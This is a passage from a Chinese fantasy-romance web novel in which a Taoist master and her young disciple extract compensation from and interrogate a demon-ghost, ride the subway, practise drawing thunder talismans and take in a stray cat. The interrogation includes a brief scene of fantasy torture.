傅清微的手抓在座椅边缘,白皙的指节曲起,神情隐忍。 穆若水终于好了。 傅清微后背也出了一身细汗。 她面色无异,朝穆若水笑了笑:“好点了吗?” 穆若水:“很舒服。” 傅清微啊了一声,假装自己没有多想地坐起来看向窗外。 观主说话一向直接,未必有别的意思。 穆若水戴上口罩,看向另一边的窗户。 她刚刚那句话是不是不该说?会不会太暧昧了? 虽然确实很舒服,她说的是事实。 但仅仅汲取气息还是不如更亲密的接触,需要很久很久,效果也不如之前。 究竟是为什么? 希望从妖鬼那里能得到一些线索。 毕竟她看穿了她最大的欲望是傅清微。 * 白姝家。 占英敲开了门,成山的垃圾涌了出来。 “……” 白姝站在五米之外的客厅里,戴着防毒面具哭诉道:“占姐姐,你再不来我就要把自己毒死了。” 占英趟地雷似的,一只脚一只脚地从缝隙艰难下脚,好不容易走进来:“你少吃点比什么都强。” “人家就这么点爱好嘛。” 看着茶几上堆积如山的外卖打包盒,占英收回脚,前往沙发的身体一转:“去你的卧室说。” “认识这么久,占姐姐终于愿意进妹妹的闺房了。” “还这么活泼,我看你是在家坐牢不够久。”占英瞟了她一眼。 “苦中作乐嘛。”白姝垮下了脸,把卧室门一关,摘下防毒面具,换上口罩。 占英坐在梳妆台前的凳子上,面向嫌疑人。 “受害者家属说了,让你再上供三件保命法器,她就饶你一命。” “三件!!!”白姝整只鬼都从原地拔长了,影子在墙壁扭曲,说,“她还是杀了我吧!!!” 占英挑眉说:“你确定?会死得很丑陋的哦。” 白姝晃动的黑影停下来,为难道:“但是三件也太多了,我几百年总共就攒了那么点,上次交出去三分之一,再交三分之一,不是我抠门,实在是……我一个小妖鬼,要保命啊。能不能和家属商量一下?两件?一件?或者我用别的抵。” 白姝:“占科,你是灵管局的,也知道现在的局势,前阵子江海里的蛟突然作乱,不可能无缘无故。” 占英眯眼:“你知道什么?” 白姝讪笑:“我什么也不知道,只是活的岁数长些,所以见过的事比一般人多。同样的事再发生,我们也好提前躲不是?” 占英敏锐地问:“什么事?” 白姝:“这我真不知道,就像蚂蚁预报下雨一样,蚂蚁哪知道什么气象,只有直觉和本能。我也是。求求你了,再帮我说说情吧。” 占英想了想:“你有钱吗?通用货币。” 白姝点点头。 占英:“受害者应该很缺钱,我帮你问问能不能用钱抵。” 她低头一条微信发出去,傅清微秒回她:【要钱】 占英:“成了。你打算出多少?” 白姝露出肉痛的表情:“五十万?” 占英:【二十五万怎么样?】 傅清微:【观主说至少五十万】 占英一分钟后打字:【她说好】 傅清微:【谢谢占科[爱心]】 白姝眉开眼笑。 两边都觉得自己占了大便宜。 对白姝来说钱财乃身外之物,她再苟二百年,财富只会越来越多。重要的是能活下来。 经此一役,白姝也算吸取了教训,短期不敢再乱上别人身了,而且鹤市现在局势不明朗,就算没有傅清微这件事,她也要夹起尾巴做妖鬼了。 占英在灵管局的职位最多算个基层领导,就算有岁已寒这层关系在,她权限范围以外的事,岁已寒很少说。 比如说蛟为什么从江底出来作乱。 全国各地越来越多的异象,越过山海关的黄仙,和鹤市的蛟祸,这三件事是否有关联?还有远在东海被邱老镇压的暴动,据说也和妖有关。 她很在意这件事。 灵管局的年轻科长抬起眼帘:“小白姐。” 白姝差点一屁股坐地上,连说:“不敢不敢,折煞我了。” 占英露出一个谦虚友好的神情:“我有点事想问你。” 白姝看着她:“先说好,知不一定言言不一定尽。” 占英:“……行。” 占英在白姝家又坐了半小时,才起身告辞。 出门前,占英回头道:“有件事差点忘了告诉你,受害者家属打算找你问点事情。如果我猜的不错,应该是有关你‘能看穿人欲望’的能力,你还有一天的时间,想好怎么圆吧。再惹怒她,我也帮不了你。” 白姝:“啊???” 这不是死定了嘛! 她现在把钱要回来还来得及吗? * 认识穆若水之前,傅清微还是一个存款微薄,连一只流浪猫生病都能掏空积蓄的贫穷女大。 认识穆若水之后,傅清微在经历了短暂的更贫穷时光以外,现在已经成为坐拥五十三万存款的小富婆。 原来天上真的会掉钱下来。 观主就是她的幸运星。 傅清微坐在客厅的沙发里,把银行卡余额后面的零数了一遍又一遍,眼泪激动得差点从嘴角流下来,她咽了咽口水,对不以为意的穆若水说:“道长师傅,我们俩有五十三万了!!!” 穆若水正在喝水,毫无波动,钱对她只是一串无用的数字,但作为凡人的傅清微喜欢。 穆若水右手伸进左手的袖子里,把自己的私房钱——岁已寒给的那张卡拿了出来,放到她手心:“是六十三万。” 傅清微:“啊?” 穆若水:“之前去医院探望姓占的,我问她师傅要的。” 傅清微想起她微信备注里的“钱袋子”,心想原来如此。 傅清微把那张卡还了回来。 穆若水:“?” 傅清微:“既然是岁主任给你的,你自己留着收好,以备不时之需。” 穆若水不接:“我不需要花钱。” 傅清微理直气壮:“万一你要给我买东西呢?” 傅清微心想:我真不要脸啊。 这和伸手要礼物有什么区别?! 穆若水被她这个理由说服了,默然片刻收了回去。 傅清微乍然暴富,但自小节约,还是贫穷女大的心态,简单地规划了一下用途:先存一半,三十万。 把欠占科的犀角钱还了,给一万甘棠,其他的……由于观主开支不固定,出行都是商务舱,傅清微打算买R1的货币基金灵活取用,全都给观主花。 她没想过要换更好的房子,也没想给自己买点新衣服,吃大餐。钱只是让她们俩的生活没那么拮据,丰俭由穆若水。 大餐还是要吃的,她想请甘棠吃。 这么一会工夫,穆若水已经数不清她嘴里提到过多少次甘棠的名字。 甘棠、甘棠、甘棠,不知道的还以为是她红颜知己呢。 穆若水不轻不重地把水杯一搁。 “甘棠重要还是我重要?” “甘……”傅清微把自己半截话咽了回去,说,“你。” 傅清微抢答道:“你和甘棠同时掉水里,我也救你。” 穆若水嗤笑:“你会游泳吗?大言不惭。” 傅清微摇头:“不会。” 穆若水还没想好下一句嘲讽她的话,傅清微已经从单人沙发挪了过来,依偎进她的怀里,脑袋枕在她肩膀。 不管她会不会游泳,她只是想和观主在一起而已。 穆若水伸手,顺势兜住她的腰,将她往自己怀里带了带。 “不准在我面前提别的女人。” “知道了。” 别的师徒也这样吗?动不动搂搂抱抱,师傅对徒弟的占有欲这么强?傅清微不知道。 穆若水也在想这个问题,她想不出答案,只知道她收傅清微为徒就是为了她们俩能永远在一起,就她们两个,没有旁人插足的份,不管那个人是谁,她的角色是什么。 她可以不得到她的人,但一定要得到她的心。 穆若水心念一动,食指挑起傅清微的下巴,看向她的脸,年轻女人双颊饱满,红唇微张,目光湿润游离,眼尾带粉。 她的桃花怎么还在?! 第64章 傅清微:【[转账]向你转账10000元】 甘棠:【???】 甘棠:【我们明天去吃那家朋朋重庆火锅?】 这家火锅难吃到她们俩一起拉进黑名单。 傅清微:【是我本人, 没有受到生命威胁,不用报警】 甘棠:【对下暗号】 傅清微:【你高中暗恋的女生和别人在一起了,你大学暗恋了两次, 都是直女】 甘棠:【这种事就不要再提了叭。你吓死我了, 怎么回事?】 傅清微:【小发了一笔横财, 给你分点】 甘棠过了两分钟发过来:【[流眼泪的自拍照片]】 傅清微:【大可不必】 甘棠:【嘿嘿,那我就收下转账了, 明天请你吃大餐】 傅清微:【明天中午吧, 我来请】 明天穆若水要去找白姝问事情,不打算带着傅清微, 她单独去见。 傅清微刚好趁这个时候约甘棠吃个饭, 聊会天叙叙旧,吃完饭下午去考科目一,晚上回来备考、打坐。 一天安排得明明白白。 经文虽然念了, 咒语也学了, 但始终没时间学更多的实战技巧。 傅清微总算理解了为什么宫观庙宇大部分建在山中,占地面积广阔,好比阁皂派, 除了那么大一个太极广场,还有各座峰头,藏在深山里练功,甚至有结界, 搞出点箓法的动静,也不会引人注意。 身在闹市, 对修行人士来说, 多有不便。 蓬莱观清苦了些,但条件越差越适合锻炼心智, 傅清微只要能洗澡,也可以带着行李进山苦修。 此一时彼一时,都是遵循她当下的想法。 于是傅清微向穆若水建议:“道长师傅,我们要不要搬回山上去住?” “搬回”两个字极大地取悦到了正在看书的穆观主,观主轻轻地翻了一页书,声音轻柔却拒绝了她:“不要。” “为什么?” “不想解释。”她连谎都懒得撒。 “……” 傅清微说:“可是离考试只有两个多月,我连剑都不会使,更别提符法了。” 穆若水波澜不惊:“莫急,为师自有办法。” 她说有办法,傅清微除了相信她别无他法。 她打坐打得更用功了,无论如何先把底子打牢,任督通了以后小周天运转通畅,炁流生生不息。 三个小时过去了。 傅清微负阴抱阳,两手掐诀虚置于腿间,维持着一动不动的姿势,眉目端正平和。 穆若水在她身边来回走了好几趟都没有使她觉察醒来,穆若水拿起一个杯子,本来想自由落体掉到地上,一会傅清微还要收拾碎片,想一想便算了。 她回忆起曾经看到过的电影画面,酝酿了一下,惊恐道:“你不要过来——” 傅清微顿时惊醒,从沙发上跳下来,拉过穆若水的手扯到一边,拦在她身前。 “怎么了怎么了?” 穆若水把地面瓷砖都盯穿了,没找到替罪虫,只好云淡风轻地编了一个:“好像有蜘蛛。” 观主居然会怕蜘蛛吗? 傅清微把所有的灯都打开,客厅亮如白昼,趴在地上一寸一寸地排查,电视柜和茶几底下的犄角旮旯也用手机电筒去照,如花似玉的脸和手上都沾了一层灰,家居服也脏兮兮的。 穆若水有些后悔,说:“兴许是我看错了。” 傅清微:“没关系,我再找找。” 傅清微每一寸角落都找了,连浴室也排查了一遍,方洗了手出来说:“不知道躲哪儿去了,我去网上下单杀虫粉,回头给家里撒上。你晚上要是害怕就叫醒我。” 从头到尾都没有怀疑过是观主胡诌的。 穆若水低低地嗯了一声。 她本来就对傅清微存了一分莫名的爱怜,这下成了自己徒弟,又如此温柔乖巧,便不再掩饰心目中那份特殊。 她坐在沙发里,足尖向前,用脚碰了碰傅清微的小腿。 傅清微身体随之轻轻地一晃:“?”有什么话不能好好说,要这么暧昧的动作?她腰差点软了。 穆若水:“今晚你去房里睡。” 傅清微:“为什么?” 穆若水低声:“你不是睡得脖子疼?” 原来她都知道。 “你不是会帮我按吗?”傅清微勾起唇,声音放柔了些,说,“没关系的,我都睡习惯了,而且就这一晚了。我买了张沙发床,明天上午就到。” “什么时候?”穆若水莫名的松了口气。 “刚刚,收到转账以后。” “如此甚好。” 穆若水说完那句话后暗暗懊恼,生怕傅清微得寸进尺要和她一起睡。穆下惠固然坐怀不乱,但傅清微在她身边总有些意外情况,招架起来也颇为费心。 幸好,幸好。 穆若水起身道:“你洗完澡早点睡吧,为师要去休息了。” “师傅晚安。” “晚安。” 傅清微洗完澡躺在沙发里,打开手机看着自己的出库订单。 上次发工资她就打算买张沙发床放在客厅,耽搁了一段时间到了现在。傅清微的手指按在取消键上,末了还是作罢。 虽然赖皮也能赖到观主床上,但未免太无赖了些,何况情势未明,她们俩还有几十年的时间要在一起,不急于一时。 考试要紧。 傅清微听着穆若水给她的录音睡了过去。 * 翌日傅清微把穆若水送到白姝家门口。 “真的不要我陪你进去吗?” “不用。”穆若水暂时不想让她知道那晚她亲过自己的事。 “那我在这等你?” “你不是要去和同学吃饭?”穆若水单方面将甘棠从好朋友降级成普通同学。 “我不放心你嘛。” “不准撒娇。” “哦。” 傅清微收起夸张的表情,一步三回头地进了电梯:“有事给我打电话,结束以后告诉我一声,我来接你啊。” 她担忧的脸隐没在电梯门后。 虽然形影不离很好,但偶尔也要有独立的空间。 穆若水在门口释放出妖鬼能感应到的大能气息,整所房子被危险笼罩,白姝连滚带爬地开了门,退出数米远,在客厅纳头便拜:“小白见过仙长。” 小妖礼数倒是诚意十足。 穆若水迈开长腿,从大开的门口走进来,撩起衣摆,坐在正中央的沙发上。 白姝悄悄抬头打量了她一眼,穆若水把面具换成了口罩,乌瞳秀眉,上半张脸也掩盖不住的清丽动人。 好、好漂亮的仙长。 她要是能得到这样一副皮囊,死也无憾了。 白姝额头紧紧地贴在地面上,冰冷的温度打断自己冒犯的想法。 “抬起头来。”身前的女人声音淡淡地说道。 “是。” 白姝抬头的同时,膝盖从地面起身。 “跪着回话。” “是,仙长。”白姝默默把膝盖跪了回去。 妖界不像人间,强者为尊弱肉强食,面对一根手指就能捏死她的穆若水,白姝跪得心悦诚服,毫无怨言。 可以说只有人间界,在短短百年间改换日月,颠覆天地,才有了见官不跪、人人平等的自由,其他各界都一样。这也是白姝六百多年东躲西藏,惶惶度日,唯有近几十年才在人间扎了根的原因。 她爱现在的人间,一想到人间或将再现炼狱惨状,心中便说不出的发堵。 又要等几百年,才能等到同样的盛世,自由与繁华。 昔日前赴后继死去的那些人又算什么? 白姝虽然已是半妖半鬼,但曾经她也是人。百年前战火不断,不仅是凡人为了民族和国家抛头颅洒热血,修士有修士的战场。荧惑犯岁星,天下大乱,百鬼夜行,妖魔并起,血染的大地雪上加霜。 白姝亲眼见到一个一个的封魔阵,是修士用命去填,才能将地底下爬出来的,不属于人间的魔物赶回去。 凡人和修士都伤亡惨烈,换来尚且不到百年的和平。 一百年太长,长到三代人,又太短了,不够休养生息。 这次魔气降临,以灵管局为首的修士们还能挡住它们吗?将它们拦在冲破人间的最后一道防线之前? 白姝已经决定要躲起来了,在此之前,她要先在红衣道士手里保住命。 穆若水:“那天晚上,你还看到了什么?” 白姝恭敬顿首,说:“不太记得了,仙长,能否让我再看一次?” 穆若水垂眸挥了挥自己的袖子,说:“凑近些,但不许呼吸。” 白姝膝行过来:“是。” 白姝本来就不是人,呼吸只是保持做人的习惯。她跪在穆若水面前,上身挺直,抬头望进穆若水那双毫无杂质的深墨色眸子里。 仙长的眼睛真好看啊,深沉如暗色的礁石。 白姝认认真真地发了十几秒的呆,沉迷得真情实感,借此逃过穆若水的审视。 白姝退后,再次伏于地面。 “我看见了,但看不清晰。”白姝说,“你身上似乎有一根线,和欲望有关。” “什么线?” “红线?许是契约或是姻缘之类的,也可能都不是。小白道行浅薄,只能看到这里,不敢欺瞒仙长。”白姝认命地闭上了眼睛。 喉咙一紧,刺骨的寒意从手掌渗入她的灵体,她被人从地上拎了起来,死死地扼住咽喉。 白姝想要祭出法器,掐诀到一半,便被红衣道士释放出的威压逼得喘不过气,手也垂了下来。 穆若水寒冷的目光盯着她,五指用力:“你敢骗我?” 白姝顶着死亡的压力,直视她的眼睛:“句句……属实……” “还敢撒谎?” 白姝凝实的灵体一条手臂变得透明,看起来就像突然消失了一样,撕心裂肺的惨叫从她的喉咙里冲了出来。 穆若水:“占英有没有告诉过你,欺骗我的下场?我会一片一片地把你的灵魂剐下来,刚刚只是一个实验,我现在要开始剐了。” “我没有……欺骗您……”白姝布满汗水的脸模糊了视线,说道。 “第一片。” “啊啊啊啊啊!!!” 居然是从她的脸开始的,被薄薄地削去一片。 “第二片。” “啊!!!!” 凄厉的叫声和哭声交织在一起。 红衣道士懒得再念,一片一片地往下剐,幸好妖鬼是没有血肉的,否则会弄脏她的衣服,她就更生气了。 妖鬼的脸被削没了,只剩黑洞洞的头骨,跪在地上,空气从她嘴部的骨头灌进去,发出嘶哑的声音:“不敢……欺瞒……仙长……” 红衣道士停了手。 本来是要把她挫骨扬灰的,可惜,已经答应某个人了。 大门的关闭声响起来。 白姝倒在地上,把自己其他部分的灵体匀一部分到脸上,重新恢复了样貌。只是少了一部分灵体的她,变得更瘦更小了。 白姝把自己团起来,呜呜呜地痛哭起来。 总算捡回了条命。 从今天起,她一定好好做妖鬼,再也不敢惹是生非了。 * 穆若水下了楼。 妖鬼受了她的刑还不肯改口,或许有几分可信。 红线的姻缘之说不可信,神仙也牵不了她现在的红线。穆若水偏向于后者,是某种契约。 当然,可能二者皆不是。先假设是契约,一方是自己,另一方难道是傅清微? 她今年才二十岁。 就算是轮回转世,穆若水未曾听闻哪种术法,可以在轮回之后仍起作用的,除非签订的是魂契——道士也要说一句离谱的程度,魂魄统归阴曹,从奈何桥走到轮回殿,早不知洗了多少回,什么灵魂印记都不剩。 从她对傅清微鲜血的渴望度来看,血契的解释更合乎常理。 但她的气息可以安抚她又是怎么回事? 有没有可能和她的先祖有关? 白姝的线索只到这里了,穆若水站在阳光底下,看向自己修长如玉的一双手。 一声冷笑。 天底下只有傅清微会觉得她是个好人了。 不知道她今天要是跟自己进了门,会不会吓得花容失色,避她如蛇蝎? 心里涌起一股烦躁之感,挥之不去。 穆若水面沉似水,往来时的方向走去。 * 海鲜自助餐厅。 “……就是这样。”傅清微边吃边和甘棠掐头去尾、中间一笔带过地讲完了这一路发生的故事。 “我还是想听中间的边缘行为,能不能展开说说。”甘棠合上下巴,意犹未尽地说道。 “我想看你脱单。” “你这个毒妇嘤嘤嘤。” 傅清微随手给她剥了只虾放到碗里,说:“总而言之,女主B成女主A的师傅了,角色转换得有点突然。” “女主A是怎么想的呢?” “女主A没想好,先当师徒吧。” “就不想以下犯上什么的?这么刺激的关系,求求你们do一下吧,就当是为了我。”甘棠坐在对面,双手合十拜托道。 “……” 傅清微把第二只虾沾了料送进自己薄薄的唇片里,淡淡地睨了她一眼。 甘棠改口:“是女主A和女主B为了我do一下。” 傅清微:“可是她们是师徒啊,女主B看起来不好追。”喂奶的时候都没什么表情,她怀疑观主没有爱情这根弦,棺材里睡那么久多多少少会出问题。 甘棠竖起手掌:“你等一下,我先看看那篇文发在哪。” 她低头在手机上点击了几下,舒展开了眉眼,对傅清微笑着说:“女主B是晋江师尊啊,那没事了,包被爆炒的。” “爆……”傅清微把话咽了回去。这般直接的话她只敢在心里脑补,从不说出口。 “被徒弟爆炒,大火收汁的那种。”甘棠火上浇油。 “好了,你别再说了。”傅清微看看左右低声制止,耳根不由染上浅浅的粉色。 “我不说,你慢慢想。”甘棠笑道。 傅清微确实想了,想的是观主什么先爆炒她一顿。她再考虑以下犯上、大逆不道的事。 最后这顿还是甘棠请的。 不管傅清微的钱是怎么挣来的,容易还是不容易,想着她是她人好,她心安理得一啃再啃,就是贪得无厌,配不上她的好了。 “刚刚的话是我开玩笑的,我真正想说的是,都现代社会了,师徒不是禁忌,永远捍卫你追爱的自由。” “嗯。”傅清微点头。 “柏拉图也行。” “……” “谁先脱单谁是狗!”甘棠拔腿就跑。 傅清微追着她撵了半层商场,甘棠脆皮得很,在傅清微的故意放水下都气喘吁吁,两人一起从扶梯下楼,在门口分开。傅清微看了她快乐寻常的背影很久,才慢慢地收回视线。 傅清微:【问完事情了吗?】 穆慈:【[语音]问完了,我在家里】 傅清微:【我要去考试了,大概四五点到家,有没有想吃的水果,我买回去】 穆慈:【[语音]不用,你人回来就行】 傅清微戴上耳机,往地铁站的方向走,点击语音条,听了两遍。 寒冷的风吹在她的脸上,却抚不平她眉眼的笑容。 傅清微刷卡进了地铁站,在等列车到站的时间,忍不住给对面拨了一个语音请求。 穆若水:“有事?” 傅清微顿了顿:“没事。” 穆若水:“没事挂了。” 界面跳回到聊天页面,背景里她们俩的合影,戴着面具的穆若水低头看着她,溢出屏幕的温柔。 傅清微:“……” 观主真的喜怒无常。 傅清微坐在地铁上最后刷了一遍科一模拟题,扣了一分,因为她心绪不宁的缘故。 90分及格,她只要不在考场睡着,不会有问题。 进考场前十分钟,傅清微收到了穆若水的微信:【在哪考试,地址发我】 傅清微来不及想太多,发了个定位过去,就把手机上交给了考场工作人员。 作答时间四十五分钟,傅清微考完检查了一遍,提交试卷后当场出分,满分100,只花了半小时。 她拿到手机出来,给穆若水发了条消息:【我考完了】 对方没有回复。 傅清微盯着上两条记录看,不知怎么想的,就待在大门口没走,仿佛在等什么人似的。 ——即使希望渺茫,她都觉得自己有点自作多情了。 十分钟以后,马路上远远地出现一道熟悉的身影,因为在人群里,所以她走得不快,由远及近,红衣鹤氅,黑色口罩挂在白净耳廓,露出秀美清幽的眉眼。 傅清微以为出现了幻觉,站在原地一动不动,等她走过来。 女人下巴一低,把脸埋进她脖颈。 顺手摘了碍事的口罩塞到她手心,贴着她的脖子吸了好几口。 傅清微垂在身侧的手轻轻地捻了捻女人的发尾,问她:“你来接我吗?” “嗯。” “为什么?” “心情不好。” “现在呢?” “好多了。” 傅清微的五指往上移了移,隔着发丝小心翼翼贴在她单薄的后背,说:“那我们现在回家?” “嗯。” 穆若水离开她颈项的时候,薄唇若有若无地碰了一下。 傅清微给她戴上口罩,两人的手牵在一起,等红灯过马路,就像芸芸众生里一对平凡的情侣。 “要不要坐地铁?” 穆若水侧头看了看她,说:“可以试试。” “如果你觉得不舒服,就贴我近一点。” “嗯。” 坐扶梯进站的时候,傅清微把她护在远离人的内侧,帮她领取了交通卡,牵着她的手进站。 不到晚高峰,但这条线平时人不算少,有没有座位全凭运气,傅清微撩开自己颈间的发丝,露出一段玉白的雪颈,候车的时候就让穆若水一直埋在自己颈窝里,哪怕周围不时投来探究的目光。 列车进站,傅清微大略扫了一眼,她们站的上车点不大好,里面的座位已经满了,门口也没有要下车的。 只能站着了。 傅清微叹了口气。 她带着穆若水走到对面的车门处,站在座位和车门形成的三角区域,进可攻退可守。 “你上次坐地铁是什么时候?”傅清微没忘记她说和一个人坐过地铁的事,找到机会便打探。 “三个月以前。”穆若水算了算,说。其实就是9月20号当天。 “那不是我们俩刚认识的时候?” “是。” “你下山了?” “是。”又过了一个多月才下山的。 “我能知道是谁吗?” “不能。”那不是暴露自己早把她看光的事了,虽说现在也差不多。但为人师表,绝不能是变态。 “哦。” 傅清微左思右想,想不通她到底会和谁坐地铁,占英?岁主任?肯定是她不认识的人。她在鹤市还有认识的别人吗?是人是妖?是妖的话难道又是狐狸精? 她是不是就喜欢狐狸精啊,否则上次为什么单单和民宿老板说话。 地铁运行过程中不断有人上车,下车的人少。穆若水宁愿和她站在角落,也不愿意和陌生人坐在一起,所以两人一直站着,渐渐的身边的空间越来越窄。 不同人类的气息混杂在一起。 穆若水眉头紧锁。 带着香气的指腹抚上她的眉间,一点一点地抚平小山包。傅清微的一只手也扶住了她的后脑勺,往自己的身前带,正要将她的脸埋进自己颈窝,穆若水的脸却微微一抬。 额头触碰到微凉的体温。 后脑勺的手被拉开,反倒是自己的后颈被微凉的修长手掌自下而上地托住,与她额头相抵。 傅清微紧张得呼出一口气,挡在一次性口罩里。 总是埋在对方颈窝太软弱了,观主发现了一种新方法,面对面看着她的眼睛,也可以安抚她的情绪。 似乎……有点太近了。 穆若水轻轻地偏了偏头。 太近了。 傅清微在心里疯狂尖叫,列车行驶中车厢摇晃,她的鼻尖就会碰到观主的鼻尖,弧度感知得一清二楚。 口罩根本挡不住交缠温热的呼吸。 万一再晃得厉害些,她怕,她怕…… “列车前方到站苏门桥站,请乘客从右边的车门等候下车。” 减速刹车,车厢站着的众人受惯性影响身体前倾,傅清微站在外侧,唯一能抓住的护栏被一个个子不高的女生握住,她控制不住地往前倾了一下。 隔着两层口罩,傅清微贴上了女人柔软的嘴唇。 第65章 傅清微的眼瞳骤然放大。 在列车停稳后, 快速地回到了原位,手也扶上了静止的车厢墙壁。 刚刚她不小心贴上去的时候,电光火石的一瞬间, 观主偏了一下头, 所以傅清微只亲到了她的唇角。 因为隔着两层口罩, 缓了一会儿以后,傅清微自己也不确定有没有碰到她的唇, 还是自己大脑自动为这种暧昧气氛制造出的幻觉。 两人额头已不再相抵。 穆若水的眼睛看着对面车厢上方的行驶线路图, 傅清微则盯着地面,一只手紧紧地握住了扶手。 谁也没有对意外的小插曲发表任何评价。 安静的氛围一直持续到停车终点。 出了地铁站, 穆若水说:“下次不要坐了, 人太多,我不喜欢。” 傅清微说好。 她提议坐地铁是因为想多和穆若水体验普通人的生活,在人群里感受彼此的存在, 但是忽略了穆若水每次在人多的地方都会倍感焦虑, 需要压制血液的躁动,她本来可以不必这样做,都是为了陪她。 自己又恃宠成娇了。 傅清微反思自己, 说:“以后再也不会了。” 穆若水却说:“偶尔也可以试一试别的,假如你喜欢的话。” 傅清微坚持:“你喜欢也很重要。” 穆若水一笑,因为戴着她的口罩,她的笑容比平时更淡, 不从眼睛里细看找几乎找不到。 “我若是没有喜欢的呢?” “人也没有?” “没有。” “那我是什么?” “不知道。” “不知道是什么答案?”傅清微追问。 “不知道就是不知道。” 穆若水抛开疑惑站在原地的傅清微往前走,傅清微三两步追上她, 走在她身边, 脚步微沉,一言不发。 若是以前到这就算了, 穆若水不会再多说一个字,此刻见她沮丧的样子,终究说道:“我虽然对你没有喜欢之情,却有怜爱之心,我说过会陪你一辈子,就绝不会食言。” 傅清微哦了一声,强打精神对她露出一个笑容:“知道啦。” 这下哪个平台的师尊也没用了。 她这位师尊天生冷血,就像她现在牵着的手,怎么也捂不热。 “师尊,你的手为什么这么冷?” “天生的。” 你看,果然。 吃也吃也那么多次了,每次只有她引颈高歌,享受其中,多看一眼师尊的眼睛,都会得到净化。 * 吃完晚饭,穆若水吩咐傅清微把茶几收拾出来,上面什么也不留。 过后她从房间里拿出朱砂和黄纸,搁在右上,说:“为师今日教你画符。” “就在这画?” “有什么问题吗?” 傅清微先拿来一叠白纸做练习,说:“没有。只看我看书上说画符要设坛,要祭天地,还有净水净口净笔净纸,念一堆咒语,能净的都净一遍。我们这么简陋真的没关系吗?” 不仅条件简陋,连屋子也简陋,会不会对神仙不敬? 穆若水指挥她调朱砂,冷道:“庸才才需要如此,你我胸怀偃骨,岂是他人能比的?” 傅清微抿了抿嘴。 虽然观主夸自己的时候把她也带上了,但是傅清微心里虚得厉害。 观主有实力,她有什么?有脸吗? “看着。” 穆若水用毛笔蘸了鲜红的朱砂,在黄纸上一气呵成画了一道符箓,给她做示范。 穆若水苏醒后极少画符,杀黄鼠狼、给傅清微安神都只是虚空画了一道,这是第一次提笔在黄纸作符,箓有载体,自然比虚空威力更大。 月朗星稀的澄净夜空,忽然被飘过来的乌云遮住了月亮。 云层之中隐约传来隆隆闷响。 傅清微扭头看向窗外,“诶”了一声,说:“要下雨了吗?” “并非。” 穆若水搁了笔,云淡风轻地直起身,对屋外的响动甚是满意,她低头无声牵了牵唇角。 在傅清微投过来视线时,轻描淡写地扔下一句:“本门引雷符,练吧。” 她特意看到傅清微张大的嘴巴,才进了房间。 傅清微心跳不已,对着那道金光流动的雷符拍了好几张清晰的照片,这才小心地捧到左上方,用白纸对着符箓临摹。 观主这么厉害,要是实战的时候给她几张符,她岂不是杀得片甲不留? 不行不行,不能想走这种捷径。 傅清微老老实实地练习画符,按白纸——普通黄纸——穆若水给的黄纸顺序按部就班地画下来。 途中穆若水出来检查她的功课,一张一张看过去,不吝赞赏道:“不错。” 和从前可谓天壤之别。 “不愧是我徒儿。” 非是她自夸,初学者画符,十张里能成一张就是天资尚可,像占英那种十张里有三四张能用的,年纪轻轻算天才。雷符这种高级符箓,普通的修士根本画不出来,没有几年的修行底子,不俗的天赋,想画雷符,痴人说梦。 穆若水纵横天下,惊世之姿,根本不屑与庸人为伍,更不会收庸人为徒。 傅清微就算性格再好,与她说不清的羁绊再深,她若没有偃骨,修道资质平平,穆若水也是正眼都不带看的,陪她是一回事,收徒是另一回事。 果然傅清微没有让她失望。 修炼几年的修士才能画出来的雷符,她三张临摹出符形,往后行云流水,一口气画下来,最后两张已有了淡淡的灵力浮动,有极大概率可以叩开天门,引动天雷。 放眼玄门,除了几位著名的掌教,没几个有这份资质,唔,岁已寒可能也算一个。 穆若水悠悠地把符箓放下,道:“阁皂派真要把你捡去了,下一代掌门非你莫属。” 还好现在是她的人了。 傅清微:“!!!” 傅清微脸皮薄,一听到夸奖就会头皮发麻的那种,尤其这种夸到没边的,脚趾都要动工了。她让穆若水检查完有没有什么需要改正的,就迫不及待地催她回屋了。 被推回房间去的穆若水费解:骂也不行夸也不行,好难伺候的徒儿。 * 元旦过后,就是春节。 这一个月的时间里,傅清微白天学驾照,利用练车的间隙复习备考,因为正值寒假,练车排队的时间特别长,在外面一待就是一上午或者一下午。 穆若水有时候陪她去,有时候自己在家待着看电视。 现在家里不止她一个人了,还有一只猫。 穆若水看着沙发上挨着她舔毛的小三花,低斥道:“下去。” 三花宠辱不惊,把长毛舔得啪嗒啪嗒响。 “……” 事情还要从三天前说起。 二十四节气里的大寒,一年最冷的光景之一,气象局连发预报,说今晚市区可能会下雪。 天寒地冻,温度骤降,外面的流浪猫最容易死在这样的冬天。 下午练完车回来,傅清微抱着个小纸箱回了家。 没有航空箱,没有盖,小三花就窝在纸箱里,仰着脑袋,乖乖被傅清微端了回来。 穆若水站在门口往纸箱里看:“这什么?” 傅清微说:“猫。” 穆若水:“废话。” 傅清微回答了她没出口的问题,说:“晚上可能要下雪,我怕她熬不过去,一时冲动就……对不起。” 她也不想没经过观主同意突然带回来的,但是傅清微捡了个空的快递箱,本来只想试一试,它自己就钻进来了,圆溜溜的绿宝石眼睛看着她。 太可爱了呜呜呜。 傅清微抱着猫鞠了一躬:“非常对不起。如果您不同意的话,今晚我陪她在楼道呆一晚,明天找个宠物店寄养,先让她过了冬天。” “……” 穆若水让开一步,面无表情地说:“进来吧。” 傅清微欣喜若狂,错身而过的瞬间用脸在她冰冷脸颊贴了一下:“谢谢师傅,爱你~” 久违的唱歌调子返场。 穆若水关上门,说:“不准上桌不准上沙发不准上床。” “知道了,她很乖的。” 傅清微把纸箱放到阳台,蹲下来用湿巾给它擦了擦脸,擦去皮毛上的灰,临时下单外卖:猫砂盆、猫砂、铲子、猫粮…… 傅清微在阳台放了一碗清水,自己蹲在纸箱旁边和小三花合了一张影,又拍了单独的一张猫猫照片。 把单独的猫照发了朋友圈: 【感谢小三花给了我一个家,终于不是流浪的野人啦[开心]】 点赞和评论创了新高。 大学生都在呜呜呜羡慕。 社畜打工人也在羡慕呜呜呜。 有猫的在底下哇,恭喜恭喜。 甘棠火速发来私聊:【你怎么肥四???你有猫了???】 甘棠:【太过分了,我还没找上对象,你一家三口都整上了!!!】 傅清微:【哈哈哈】 傅清微抬起头,喊道:“道长师父。” 穆若水:“?” 傅清微扬了扬手机:“拍张照吗?” “不拍。” “拍一张嘛。” “我警告你,不要得寸……” “来嘛。” 傅清微拉穆若水过来强制拍照,穆若水贡献了一张臭脸照。 勉强也算是一家三口了。 傅清微把照片保存了好几份,连同上一张合照也一起发给了穆若水,穆若水看了一眼,看看蹲在那用手和猫玩的傅清微,嗤之以鼻。 